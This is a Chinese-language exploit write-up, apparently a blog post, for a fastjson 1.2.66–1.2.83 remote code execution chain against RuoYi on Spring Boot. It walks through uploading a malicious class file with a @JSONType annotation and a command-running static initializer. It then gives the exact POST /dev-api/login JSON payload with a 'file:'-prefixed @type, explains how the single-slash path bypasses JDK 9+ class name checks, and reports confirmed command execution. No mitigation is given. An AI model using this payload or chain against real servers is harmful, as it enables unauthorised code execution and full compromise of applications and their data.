fastjson 1.2.66-1.2.83 @JSONType探针 file: URL 远程代码执行漏洞
经分析,fastjson 1.2.83 的 @JSONType 探针机制在校验 typeName 时,会无条件调用 ClassLoader.getResourceAsStream() 读取攻击者指定的本地文件。结合 file: 协议的单斜线语法绕过 JDK 高版本限制 + Spring Boot fat-jar 的 LaunchedURLClassLoader,可加载攻击者上传的恶意 class 文件并执行其静态初始化代码,最终实现远程代码执行。
复现环境:
OpenJDK 21.0.7
fastjson1.2.83
(RuoYi) v4.8.3 / Spring Boot 2.7.18
Ubuntu 20.04
- 步骤1:访问若依登录页 → 登录系统


- 步骤2:上传恶意 class 文件(通过后台"文件上传"功能)

若依上传代码逻辑是:
// RuoYi 通用上传
String filePath = RuoYiConfig.getProfile() + "/upload/";
// → "/home/ruoyi/uploadPath/upload/"
file.transferTo(new File(filePath + originalFilename));
所以推测 evil_poc.class 上传后落盘在:
/home/ruoyi/uploadPath/upload/evil_poc.class - 步骤3:构造包含 @type 的 JSON 请求,触发 fastjson 反序列化

步骤4:
执行,命令输出写入 /tmp/PWNED.txt
RCE 确认:确认写入成功
原理:
缺陷位于 com.alibaba.fastjson.parser.ParserConfig.checkAutoType()(fastjson 1.2.66–1.2.83)
// 步骤1:攻击者控制的 typeName 被拼接成 class 资源路径
String resource = typeName.replace('.', '/') + ".class";
// 步骤2:无条件调用 getResourceAsStream(autoType 关闭也执行!)
if (defaultClassLoader != null) {is = defaultClassLoader.getResourceAsStream(resource);}
// 步骤3:如果读取到的 class 文件含有 @JSONType 注解 → jsonType = true
if (jsonType) {if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); } return clazz; // 短路返回!跳过 deny-list、DataSource/RowSet 等所有安全检查}
问题出在第二步没有校验 resource 是否包含协议前缀。攻击者传入:
typeName = "file:.home.ruoyi.uploadPath.upload.evil_poc"
fastjson 内部 replace('.', '/') 后得到:
resource = "file:/home/ruoyi/uploadPath/upload/evil_poc.class"
getResourceAsStream 将这段路径传给 ClassLoader,而 ClassLoader 在特定条件下会把它当绝对路径打开。
为什么 file: 协议能绕过 JDK 9+ 的限制
此前公开的 jar:http:// 链(2026 年 7 月由 @wouijvziqy 披露)在 JDK 9+ 上失效,原因是 :// 双斜线会导致 JDK 的 verify_unqualified_name 校验中出现空段:
jar:http://attacker/probe!/Evil
→ 分段为 [jar:http:, 空, attacker, probe!, Evil]
→ JDK 9+ detect 空段 → 拒绝 defineClass → 攻击失败
而 file: 协议(RFC 8089)支持 单斜线 语法 file:/absolute/path,天然不产生空段:
file:/home/ruoyi/uploadPath/upload/evil_poc
→ 分段为 [file:, home, ruoyi, uploadPath, upload, evil_poc]
→ 全为非空 → JDK 9+ 通过 → defineClass 成功
file: 是所有 URL 协议中唯一可以不使用 //authority 的协议,这不是编码技巧,而是协议语法层面的差异。
class 内部特征:- this_class = "file:/home/ruoyi/uploadPath/upload/evil_poc"(单斜线!) - 类上有 @com.alibaba.fastjson.annotation.JSONType 注解 - <clinit> 静态代码块中执行系统命令② class 文件落盘到 /home/ruoyi/uploadPath/upload/evil_poc.class
③ 攻击者发送 JSON payload:
POST /dev-api/login
{"@type":"file:.home.ruoyi.uploadPath.upload.evil_poc","x":1}
④ fastjson.parseObject() 触发 checkAutoType:
→ resource = "file:/home/ruoyi/uploadPath/upload/evil_poc.class"
→ getResourceAsStream(resource)
→ LaunchedURLClassLoader 读取本地 class 文件
→ ASM ClassReader 扫描 → 检测到 @JSONType → jsonType = true
→ 信任短路 → defineClass(JDK 9+ 类名校验通过,无空段)
→ parseObject 创建实例 → 触发→ RCE
与已知漏洞的关系
本漏洞是 jar:http: 链(2026-07, @wouijvziqy PoC)在 JDK 9+ 上的变种利用。原链在 JDK 9+ 被堵死后,file: 协议是唯一能绕过类名空段校验的替代方案。核心利用路径相同,但传输方式从"远程拉取 jar"变成了"先本地落盘再 file: 读取"。
评论 (0)